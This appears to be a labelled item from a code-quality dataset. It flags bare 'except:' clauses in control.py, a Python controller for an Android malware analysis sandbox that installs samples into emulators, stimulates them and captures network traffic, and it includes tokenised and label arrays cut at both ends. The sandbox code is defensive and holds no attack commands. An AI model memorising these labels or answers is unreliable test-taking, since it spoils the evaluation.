"s", "):", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "if", " ", "amo", "unt", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "actual", "\\u", "position", " ", "=", " ", "amo", "unt", "[", "0", "]['", "amo", "unt", "']", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "else", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "actual", "\\u", "position", " ", "=", " ", "0_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "self", ".", "assert", "Equal", "(_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "actual", "\\u", "position", ",", " ", "expected", "\\u", "position", "s", "[", "i", "],", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "\"", "position", " ", "for", " ", "day", "={", "0", "}", " ", "not", " ", "equal", ",", " ", "actual", "={", "1", "},", " ", "expected", "={", "2", "}\"", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "format", "(", "i", ",", " ", "actual", "\\u", "position", ",", " ", "expected", "\\u", "position", "s", "[", "i", "]))", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Except block handles 'BaseException'
tvidas/a5/scripts/bin/control.py
[ { "content": "def kick_adb():\n\tname = multiprocessing.current_process().name\n\tADBKICK = \"%s/adb kill-server\"\n\t#whatever the next issue of adb is, it will automatically start the server again\n\tcmd = ADBKICK % ( ADBPATH )\n\tlogger.info( name + \":\" + cmd)\n\ttry:\n\t\targs = shlex.split(cmd)\n\t\tpKick = subprocess.Popen(args)\n\t\tpKick.terminate()\n\texcept:\n\t\tlogger.info( name + \":\" + \"adb kick error\", sys.exc_info()[0])", "metadata": "root.kick_adb", "header": "['module', '___EOS___']", "index": 185 }, { "content": "def runInVM(m,job,VMs,adbport,vmlock,adbl,results, fcnt):\n\tname = multiprocessing.current_process().name\n\n \tformatter = logging.Formatter(fmt=LOGFORMAT,datefmt=LOGDATEFORMAT)\n \tpathForFile = MALWAREJOBSBASE + \"/\" + job['jobuuid'] + \"/\" + job['sha256'] + \"-run.log\"\n\tprint \"HH%sHH\" % pathForFile\n \thandler = logging.FileHandler(pathForFile, mode='w')\n \thandler.setFormatter(formatter)\n\n \tvlogger = logger.getChild(\"worker\" + name + \".vm\")\n \tvlogger.setLevel(logging.DEBUG)\n \tvlogger.addHandler(handler)\n\n\tvlogger.info(\"logging started at \" + pathForFile)\n\n\n\trval = True\n\tif VMs[m].state in [\"Reserved\"] :\n\t\twith vmlock:\n\t\t\tVMlocal = VMs[m];\n\t\t\tVMlocal.state = \"Starting\"\n\t\t\tVMs[m] = VMlocal;\n\t\t#emulator doens't observe system hosts: (must start emulator with -partition-size 128 (for example) to give room to write)\n\t\t#adb pull /etc/hosts\n\t\t#edit to 10.0.2.2 (your local machine)\n\t\t#adb remount\n\t\t#adb push hosts /etc/hosts\n\t\tt1 = time.time()\n\t\t\n\n\t\t#emulator -avd NAME -partition-size 128 -ports 5,2322 -no-window -tcpdump FILE -dns-server SERVER -http-proxy PROXY\n\t\t#TODO instead of wipe-data, would be best to re-create the VM\n\t\tEMUSTART = \"%s/emulator -avd %s -partition-size %s -port %s -no-window -tcpdump %s -wipe-data\"\n\t\t#./adb logcat\n\t\t#./adb install /storage/malware/RU.apk\n\t\t#./adb shell am broadcast -a android.intent.action.BOOT_COMPLETED\n\n\t\t#start (with specified ports)\n\t\t#emulator -ports X,Y @avd_X\n\n\t\t#wait for emulator to be fully started\n\t\t#./adb -s emulator-5584 wait-for-device\n\t\tEMUWAIT = \"%s/adb -s %s wait-for-device\"\n\n\t\tEMULOGCAT = \"%s/adb -s %s logcat\"\n\n\t\t#command\n\t\t#adb -s emualtor-X shell cmd\n\n\t\tEMUINSTALL = \"%s/adb -s %s install %s\"\n\n\t\t#<INTENT> specifications include these flags:\n\t\t# [-a <ACTION>] [-d <DATA_URI>] [-t <MIME_TYPE>]\n\t\t# [-c <CATEGORY> [-c <CATEGORY>] ...]\n\t\t# [-e|--es <EXTRA_KEY> <EXTRA_STRING_VALUE> ...]\n\t\t# [--esn <EXTRA_KEY> ...]\n\t\t# [--ez <EXTRA_KEY> <EXTRA_BOOLEAN_VALUE> ...]\n\t\t# [-e|--ei <EXTRA_KEY> <EXTRA_INT_VALUE> ...]\n\t\t#adb shell am broadcast -a android.intent.action.BOOT_COMPLETED -c android.intent.category.HOME -n net.fstab.checkit_android/.StartupReceiver\n\t\t#am broadcast -a android.intent.action.BOOT_COMPLETED\n\t\tEMUINTENT = \"%s/adb -s %s shell am broadcast -a %s\"\n\t\n\t\t#adb shell am start -n com.package.name/com.package.name.ActivityName\n\t\t#am start -a android.intent.action.MAIN -n com.iftitah.android.contact/com.iftitah.android.contact.Contact\n\t\t#am start -a <ACTION> -n <PACKAGE>/<PACKAGE><ACTIVITYCLASS>\n\t\tEMULAUNCH = \"%s/adb -s %s shell am start -a %s -n %s/%s\"\n\n\t\t#kill\n\t\t#could do adb shell stop\n\t\t#but why really? just going to reset for next run anyway\n\t\t# (though a stop would preserve state)\n\t\t#adb -s emulator-X emu kill\n\t\tEMUKILL = \"%s/adb -s %s emu kill\"\n\n\t\t#monkey\n\t\t#$ adb shell monkey -v -p your.package.name 100 --ignore-security-exceptions -s SEED\n\t\tEMUMONKEY = \"%s/adb -s %s shell monkey -v -p %s 100 --ignore-security-exceptions -s %s --throttle 250\"\n\n\t\t#update database with start values\n\t\tpermissions_filename = job['sha256'] + \".xml\"\n\t\timage_used = VMs[m].name\n\t\tstart_time = time.strftime(\"%Y-%m-%d-%H:%M:%S\", time.gmtime())\n\t\tmsdb.updateStartRun(job['jobuuid'],image_used,start_time,permissions_filename,MSVERSION)\n\n\t\tvlogger.info( name + \":\" + \"...starting VM \" + VMs[m].name)\n\t\t#start it\n\t\tcmd = EMUSTART % ( SDKPATH, VMs[m].name, PSIZE, str(adbport), MALWAREJOBSBASE + \"/\" + job['jobuuid'] + \"/\" + job['sha256']+ \"-orig.pcap\")\n\t\tvlogger.info( name + \":\" + cmd)\n\t\tpEmu = None\n\t\ttry:\n\t\t\targs = shlex.split(cmd)\n\t\t\tpEmu = subprocess.Popen(args)\n\t\texcept:\n\t\t\tvlogger.info( name + \":\" + \"emulator start error\", sys.exc_info()[0])\n\t\t\tsys.exit(1)\n\t\t#check for start error conditions:\n\t\t#emulator: WARNING: ignoring locked SD Card image at /path/to/avd/ms-sdk003-003/sdcard.img\n\t\t#it seems too many emulator instances are running on this machine. Aborting\n\n\n\t\t#wait for it to start\n\t\tcmd = EMUWAIT % ( ADBPATH, \"emulator-\" + str(adbport))\n\t\tvlogger.info( name + \":\" + cmd)\n\t\ttry:\n\t\t\tret = subprocess.check_call([cmd], shell=True)\n\t\t\tvlogger.info( name + \":\" + \"emulator wait returned: %d\" % ret )\n\t\texcept:\n\t\t\tvlogger.error( name + \":\" + \"emulator wait error: %s\" % cmd )\n\t\t\tsys.exit(1)\n\t\tvlogger.info( name + \":\" + \"emulator-\" + str(adbport) + \" started\")\n\t\ttime.sleep(VM_POLL_REST * 3)\n\t\twith vmlock:\n\t\t\tVMlocal = VMs[m];\n\t\t\tVMlocal.state = \"Running\"\n\t\t\tVMs[m] = VMlocal;\n\n\t\t#start logcat\n\t\t#start it\n\t\tcmd = EMULOGCAT % ( SDKPATH, \"emulator-\" + str(adbport))\n\t\tvlogger.info( name + \":\" + cmd)\n\t\tpLogCat = None\n\t\tfLogCat = None\n\t\ttry:\n\t\t\targs = shlex.split(cmd)\n\t\t\tvlogger.info( args)\n\t\t\tfLogCat = open(MALWAREJOBSBASE + \"/\" + job['jobuuid'] + \"/\" + job['sha256'] + \".logcat\",\"w\")\n\t\t\tfNull = open(\"/dev/null\")\n#TODO\t\t\tpLogCat = subprocess.Popen(args, stdin=fNull, stderr=fNull, stdout=fLogCat)\n\t\texcept:\n\t\t\tvlogger.error( name + \": \" + cmd )\n\t\t\tvlogger.error( formatExceptionInfo())\n\t\t\tvlogger.error( name + \":\" + \"emulator logcat error\", sys.exc_info()[0])\n\t\t\tsys.exit(1)\n\n\t\t#install malicious app\n\t\tcmd = EMUINSTALL % ( ADBPATH, \"emulator-\" + str(adbport), \"'\" + job['fullpath'] + \"'\")\n\t\tvlogger.info( name + \":\" + cmd)\n\t\n\t\ttry:\n\t\t\tret = subprocess.check_output([cmd], shell=True)\n\t\t\tvlogger.info( name + \":\" + \"emulator install returned: %s\" % ret )\n\t\t\tinstall_attempts = ADBTRIES\n\t\t\twhile \"Success\" not in ret and install_attempts > 0:\n\t\t\t\tkick_adb_maybe(adbl, fcnt)\n\t\t\t\tvlogger.info( name + \":\" + \"install failed emulator install returned: %s\" % ret )\n\t\t\t\ttime.sleep(VM_POLL_REST)\n\n\t\t\t\t#TODO FIXME, track down why this sometimes stalls forever, seem on SDKs 11 and 14...\n\t\t\t\tret = subprocess.check_output([cmd], shell=True)\n\t\t\t\tinstall_attempts -= 1\n\t\t\t\tif install_attempts <= 0:\n\t\t\t\t\tsyslog.syslog(VMs[m].name + \":\" + \"install failed emulator install returned: %s\" % ret )\n\t\t\t\t\tvlogger.error(VMs[m].name + \":\" + \"install failed emulator install returned: %s\" % ret )\n\t\t\t\t\n\n\t\texcept:\n\t\t\tvlogger.error( name + \":\" + \"emulator install fatal error: %s\" % cmd )\n\t\t\tvlogger.error( formatExceptionInfo())\n\t\t\tsys.exit(1)\n\n\t\t#possible errors:\n\t\t#Error: Could not access the Package Manager. Is the system running?\n\n\t\ttime.sleep(VM_POLL_REST * 3)\n\n\t\t#stimulate\n\t\tdoc = etree.parse( MALWAREJOBSBASE + \"/\" + job['jobuuid'] + \"/\" + job['sha256'] + \".xml\")\n\t\tpackage = doc.find('package')\n\n\t\t\n\t\tli = libIntent.libIntent(\"localhost\",adbport)\n\t\n\t\t#for each rint\n\t\tfor rint in doc.findall('rint'):\n\t\t\tvlogger.info( name + \" handling \" + str(rint.text))\n\t\t\tli.handleRIntent(str(rint.text))\n\n\t\t#for each permission (actions and rints _should_ catch all these....)\n\t\tfor perm in doc.findall('permission'):\n\t\t\tvlogger.info( name + \" handling \" + str(perm.text))\n\t\t\tli.handlePermission(str(perm.text))\n\n\t\t#for each action\n\t\tfor action in doc.findall('action'):\n\t\t\tvlogger.info( name + \" handling \" + str(action.text))\n\t\t\tli.handleAction(str(action.text))\n\t\t\t#BROADCASTS are done this way\n\t\t\t#cmd = EMUINTENT % ( ADBPATH, \"emulator-\" + str(adbport), \"android.intent.action.BOOT_COMPLETED\")\n\t\t\tcmd = EMUINTENT % ( ADBPATH, \"emulator-\" + str(adbport), str(action.text))\n\t\t\tvlogger.info( name + \":\" + cmd)\n\t\t\ttry:\n\t\t\t\t#TODO check for \"Broadcast completed\" in output, repeat if necessary\n\t\t\t\tret = subprocess.check_call([cmd], shell=True)\n\t\t\texcept:\n\t\t\t\tsyslog.syslog(\"app %s error sending intent %s\" % (job['sha256'],str(action.text)))\n\t\t\t\tvlogger.error( name + \":\" + \"emulator intent error: %s\" % cmd )\n\t\t\t\tvlogger.error( name + \":\" + \"emulator intent error: %d\" % ret )\n\t\t\t\t#TODO exit is a little too harsh here, but should probably requeue somehow\n\t\t\t\t#sys.exit(1)\n\t\t\t\t#sys.exit(1)\n\n\t\t#somethings just don't have nice rint or actions\n\t\tli.sendCall()\n\t\ttime.sleep(VM_POLL_REST)\n\t\tli.endAllCalls()\n\n\t\t#open app\n\n\n\t\t# TODO this should not be a for/for loop, the actions shoudl be paired with activities\n\t\tfor activity in doc.findall('activity'):\n\t\t\tfor action in doc.findall('action'):\n\t\t\t\tvlogger.info( name + \": \" + \"################## launching activity \" + str(activity.text))\n\t\t\t\tcmd = EMULAUNCH % ( ADBPATH, \"emulator-\" + str(adbport), str(action.text), str(package.text), str(activity.text))\n\t\t\t\tvlogger.info( name + \":\" + cmd)\n\t\t\t\ttry:\n\t\t\t\t\tret = subprocess.check_call([cmd], shell=True)\n\t\t\t\texcept:\n\t\t\t\t\tvlogger.error( name + \":\" + \"emulator launch error: %s\" % cmd )\n\t\t\t\t\tvlogger.error( name + \":\" + \"emulator launch error: %d\" % ret )\n\t\t\t\t\t#TODO exit is a little too harsh here, but should probably requeue somehow\n\t\t\t\t\t#sys.exit(1)\n\n\t\ttime.sleep(VM_POLL_REST * 5)\n\n\t\t#monkey around\n\t\tcmd = EMUMONKEY % ( ADBPATH, \"emulator-\" + str(adbport), str(package.text), random.randint(1,100))\n\t\tvlogger.info( name + \":\" + cmd)\n\t\n\t\ttry:\n\t\t\tret = subprocess.check_output([cmd], shell=True)\n\t\t\tvlogger.info( name + \":\" + \"emulator monkey returned: %s\" % ret )\n#\t\t\tmonkey_attempts = ADBTRIES\n#\t\t\twhile \"Success\" not in ret and monkey_attempts > 0:\n#\t\t\t\tkick_adb_maybe(adbl, fcnt)\n#\t\t\t\tvlogger.info( name + \":\" + \"monkey failed emulator monkey returned: %s\" % ret )\n#\t\t\t\ttime.sleep(VM_POLL_REST)\n#\n#\t\t\t\tret = subprocess.check_output([cmd], shell=True)\n#\t\t\t\tmonkey_attempts -= 1\n#\t\t\t\tif monkey_attempts <= 0:\n#\t\t\t\t\tsyslog.syslog(VMs[m].name + \":\" + \"monkey failed emulator monkey returned: %s\" % ret )\n\t\t\t\t\n\n\t\texcept:\n\t\t\tvlogger.error( name + \":\" + \"emulator monkey fatal error: %s\" % cmd )\n\t\t\tsyslog.syslog(VMs[m].name + \":\" + \"monkey failed emulator monkey error: %s\" % cmd )\n\t\t\tvlogger.error( formatExceptionInfo())\n\t\t\tsys.exit(1)\n\n\t\t#kill\n\t\tcmd = EMUKILL % ( ADBPATH, \"emulator-\" + str(adbport))\n\t\tvlogger.info( name + \":\" + cmd)\n\t\ttry:\n\t\t\tret = subprocess.check_call([cmd], shell=True)\n\t\texcept:\n\t\t\tvlogger.error( name + \":\" + \"emulator kill error\")\n\t\t\tsys.exit(1)\n\n\t\t#cleanup\n\t\tif pEmu.poll() is not None:\n\t\t\tvlogger.info( name + \": \" + \"poll is \" + str(pEmu.poll()))\n\t\t\ttry:\t\n\t\t\t\tpEmu.terminate()\n\t\t\texcept:\n\t\t\t\tvlogger.error( name + \": \" + \"pEmu term failed\")\n#TODO\t\tif pLogCat.poll() is not None:\n#TODO\t\t\tpLogCat.terminate()\n\t\tfLogCat.flush()\n\t\tfLogCat.close()\n\t\tfNull.close()\n\t\t\n\t\ttime.sleep(VM_POLL_REST)\n\t\tvlogger.info( name + \":\" + \"...stopping VM \" + VMs[m].name)\n\t\twith vmlock:\t\n\t\t\tVMlocal = VMs[m];\n\t\t\tVMlocal.state = \"Off\"\n\t\t\tVMs[m] = VMlocal;\n\t\n\t\tt2 = time.time()\t\n\n\t\tcomplete_time = time.strftime(\"%Y-%m-%d-%H:%M:%S\", time.gmtime())\n\t\tresults_file = job['sha256'] + \".pcap\"\n\t\tmsdb.updateFinishRun(job['jobuuid'],complete_time,results_file)\n\n\t\t#post process pcap, pretty crude for now, adb uses it's port and port+1; so two prunes\n\t\t#...and it seems that adb uses 5555 regardless of which even port is specified\n\t\toriginalpcap = MALWAREJOBSBASE + \"/\" + job['jobuuid'] + \"/\" + job['sha256'] + \"-orig.pcap\"\n\t\ttmppcap = MALWAREJOBSBASE + \"/\" + job['jobuuid'] + \"/\" + job['sha256'] + \"-temp.pcap\"\n\t\tfinalpcap = MALWAREJOBSBASE + \"/\" + job['jobuuid'] + \"/\" + job['sha256'] + \".pcap\"\n\n\t\t#cmd = \"prune_pcap.sh %s %s %s\" % (os.path.dirname(job['fullpath']) + \"/\" + job['sha256']+ \"-orig.pcap\",os.path.dirname(job['fullpath']) + \"/\" + job['sha256']+ \".pcap\", str(adbport))\n\t\tcmd = \"prune_pcap.sh %s %s %s\" % (originalpcap,tmppcap, str(adbport))\n\t\tvlogger.info( name + \":\" + cmd)\n\t\ttry:\n\t\t\tret = subprocess.check_call([cmd], shell=True)\n\t\texcept:\n\t\t\tvlogger.error( name + \":\" + \"pcap prune error\")\n\t\t\tsys.exit(1)\n\n\t\t#cmd = \"prune_pcap.sh %s %s %s\" % (os.path.dirname(job['fullpath']) + \"/\" + job['sha256']+ \"-orig.pcap\",os.path.dirname(job['fullpath']) + \"/\" + job['sha256']+ \".pcap\", str(int(adbport)+1))\n\t\tcmd = \"prune_pcap.sh %s %s %s\" % (tmppcap,finalpcap, str(int(adbport)+1))\n\t\tvlogger.info( name + \":\" + cmd)\n\t\ttry:\n\t\t\tret = subprocess.check_call([cmd], shell=True)\n\t\texcept:\n\t\t\tvlogger.error( name + \":\" + \"pcap prune error\")\n\t\t\tsys.exit(1)\n\n\t\t#cmd = \"prune_pcap.sh %s %s %s\" % (os.path.dirname(job['fullpath']) + \"/\" + job['sha256']+ \"-orig.pcap\",os.path.dirname(job['fullpath']) + \"/\" + job['sha256']+ \".pcap\", str(5555))\n#\t\tcmd = \"prune_pcap.sh %s %s %s\" % (originalpcap,finalpcap, str(adbport))\n#\t\tvlogger.info( name + \":\" + cmd)\n#\t\ttry:\n#\t\t\tret = subprocess.check_call([cmd], shell=True)\n#\t\texcept:\n#\t\t\tvlogger.error( name + \":\" + \"pcap prune error\")\n#\t\t\tsys.exit(1)\n\n\t\t#TODO unique ip addresses\n\t\t#tshark -r <input.pcap> -T fields -e ip.dst ip.src | sort | uniq\n\n\n\t\tvlogger.info( name + \":\" + \"sample took %s seconds process\" % str(t2 - t1))\n\t\tresults.put(t2-t1)\n\n\telif VMs[m].state in [\"Off\"]:\n\t\tvlogger.info( name + \":\" + VMs[m].name + \"run error: found in state OFF!\")\n\t\trval = False\n\telif VMs[m].state in [\"Ready\"]:\n\t\tvlogger.info( name + \":\" + VMs[m].name + \"run error: is running and not available for new malware\")\n\t\trval = False\n\t\t#if m.name in assignments:\n\t\t#\tif assignments[m.name]['timeout'] <= time.time():\n\t\t#\t\t#do anything you want to wrap up\n\t\t#\t\tjob_post_process(m)\n\t\t#\t\tjob_cleanup(m)\n\t\t#\t\tvm_poweroff(m)\n\t\t#else: # if the machine is running but there is no job assigned to it then kill it\n\t\t#\tpcap_terminate(m)\n\t\t#\tvm_poweroff(m)\n#\telse: #not sure this is relevant...may need to remove it\n#\t\tvm_poweroff(m) #I need to get a list of states that I want to poweroff by default\n\treturn rval", "metadata": "root.runInVM", "header": "['module', '___EOS___']", "index": 221 } ]
[ { "span": "except:", "start_line": 195, "start_column": 1, "end_line": 195, "end_column": 8 }, { "span": "except:", "start_line": 313, "start_column": 2, "end_line": 313, "end_column": 9 }, { "span": "except:", "start_line": 327, "start_column": 2, "end_line": 327, "end_column": 9 }, { "span": "except:", "start_line": 349, "start_column": 2, "end_line": 349, "end_column": 9 }, { "span": "except:", "start_line": 376, "start_column": 2, "end_line": 376, "end_column": 9 }, { "span": "except:", "start_line": 414, "start_column": 3, "end_line": 414, "end_column": 10 }, { "span": "except:", "start_line": 438, "start_column": 4, "end_line": 438, "end_column": 11 }, { "span": "except:", "start_line": 465, "start_column": 2, "end_line": 465, "end_column": 9 }, { "span": "except:", "start_line": 476, "start_column": 2, "end_line": 476, "end_column": 9 }, { "span": "except:", "start_line": 485, "start_column": 3, "end_line": 485, "end_column": 10 }, { "span": "except:", "start_line": 517, "start_column": 2, "end_line": 517, "end_column": 9 }, { "span": "except:", "start_line": 526, "start_column": 2, "end_line": 526, "end_column": 9 } ]
[]
1
true
[ "[CLS]_", "Except", "_", "block_", "handles_", "'", "Base", "Except", "ion", "'_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "kick", "\\u", "adb_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "_", "name_", "=_", "multiprocessing_", "._", "current", "\\u", "process_", "(_", ")_", "._", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "AD", "BK", "IC", "K_", "=_", "\"%", "s", "/", "adb", " ", "kill", "-", "server", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "what", "ever", " ", "the", " ", "next", " ", "issue", " ", "of", " ", "adb", " ", "is", ",", " ", "it", " ", "will", " ", "automati", "call", "y", " ", "start", " ", "the", " ", "server", " ", "again", "_", "\\u\\u\\uNL\\u\\u\\u_", "cmd_", "=_", "AD", "BK", "IC", "K_", "%_", "(_", "AD", "BP", "ATH", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "logger_", "._", "info_", "(_", "name_", "+_", "\":\"_", "+_", "cmd_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "args_", "=_", "shlex_", "._", "split_", "(_", "cmd_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "p", "Kick", "_", "=_", "subprocess_", "._", "Popen_", "(_", "args_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "p", "Kick", "_", "._", "terminate_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "logger_", "._", "info_", "(_", "name_", "+_", "\":\"_", "+_", "\"", "adb", " ", "kick", " ", "error", "\"_", ",_", "sys_", "._", "exc", "\\u", "info_", "(_", ")_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "run", "In", "VM_", "(_", "m_", ",_", "job_", ",_", "VM", "s_", ",_", "adb", "port_", ",_", "vm", "lock_", ",_", "adb", "l_", ",_", "results_", ",_", "fcn", "t_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "_", "name_", "=_", "multiprocessing_", "._", "current", "\\u", "process_", "(_", ")_", "._", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "formatter_", "=_", "logging_", "._", "Formatter_", "(_", "fmt_", "=_", "LOG", "FORMAT_", ",_", "datefmt_", "=_", "LOG", "DAT", "EF", "ORM", "AT_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "path", "For", "File_", "=_", "MAL", "WARE", "JOB", "SB", "AS", "E_", "+_", "\"/\"_", "+_", "job_", "[_", "'", "job", "uuid", "'_", "]_", "+_", "\"/\"_", "+_", "job_", "[_", "'", "sha2", "56", "'_", "]_", "+_", "\"-", "run", ".", "log", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"", "HH", "%", "s", "HH", "\"_", "%_", "path", "For", "File_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "handler_", "=_", "logging_", "._", "File", "Handler_", "(_", "path", "For", "File_", ",_", "mode_", "=_", "'", "w", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "handler_", "._", "set", "Formatter_", "(_", "formatter_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "vlo", "gger_", "=_", "logger_", "._", "get", "Child_", "(_", "\"", "worker", "\"_", "+_", "name_", "+_", "\".", "vm", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "vlo", "gger_", "._", "set", "Level_", "(_", "logging_", "._", "DEBUG_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "vlo", "gger_", "._", "add", "Handler_", "(_", "handler_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "vlo", "gger_", "._", "info_", "(_", "\"", "logg", "ing", " ", "start", "ed", " ", "at", " ", "\"_", "+_", "path", "For", "File_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "rval_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "VM", "s_", "[_", "m_", "]_", "._", "state_", "in_", "[_", "\"", "Reserve", "d", "\"_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "with_", "vm", "lock_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "VM", "local_", "=_", "VM", "s_", "[_", "m_", "]_", ";_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "VM", "local_", "._", "state_", "=_", "\"", "Start", "ing", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "VM", "s_", "[_", "m_", "]_", "=_", "VM", "local_", ";_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "emulator", " ", "doe", "ns", "'", "t", " ", "observe", " ", "system", " ", "host", "s", ":", " ", " ", "(", "must", " ", "start", " ", "emulator", " ", "with", " ", "-", "partit", "ion", "-", "size", " ", "128", " ", "(", "for", " ", "example", ")", " ", "to", " ", "give", " ", "room", " ", "to", " ", "write", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", "adb", " ", "pull", " ", "/", "etc", "/", "hosts_", "\\u\\u\\uNL\\u\\u\\u_", "#", "edit", " ", "to", " ", "10.", "0.", "2.2", " ", "(", "your", " ", "local", " ", "machine", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", "adb", " ", "remo", "unt_", "\\u\\u\\uNL\\u\\u\\u_", "#", "adb", " ", "push", " ", "host", "s", " ", "/", "etc", "/", "hosts_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "t1_", "=_", "time_", "._", "time_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "emulator", " ", "-", "av", "d", " ", "NAME", " ", "-", "partit", "ion", "-", "size", " ", "128", " ", "-", "port", "s", " ", "5", ",", "232", "2", " ", "-", "no", "-", "window", " ", "-", "tcp", "dump", " ", "FILE", " ", "-", "dns", "-", "server", " ", "SERVER", " ", "-", "http", "-", "proxy", " ", "PROX", "Y_", "\\u\\u\\uNL\\u\\u\\u_", "#", "TOD", "O", " ", "inst", "ead", " ", "of", " ", "wipe", "-", "data", ",", " ", "wou", "ld", " ", "be", " ", "best", " ", "to", " ", "re", "-", "create", " ", "the", " ", "VM_", "\\u\\u\\uNL\\u\\u\\u_", "EM", "UST", "ART", "_", "=_", "\"%", "s", "/", "emulator", " ", "-", "av", "d", " ", "%", "s", " ", "-", "partit", "ion", "-", "size", " ", "%", "s", " ", "-", "port", " ", "%", "s", " ", "-", "no", "-", "window", " ", "-", "tcp", "dump", " ", "%", "s", " ", "-", "wipe", "-", "data", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#.", "/", "adb", " ", "logc", "at_", "\\u\\u\\uNL\\u\\u\\u_", "#.", "/", "adb", " ", "install", " ", "/", "storage", "/", "mal", "ware", "/", "RU", ".", "apk", "_", "\\u\\u\\uNL\\u\\u\\u_", "#.", "/", "adb", " ", "shell", " ", "am", " ", "broadcast", " ", "-", 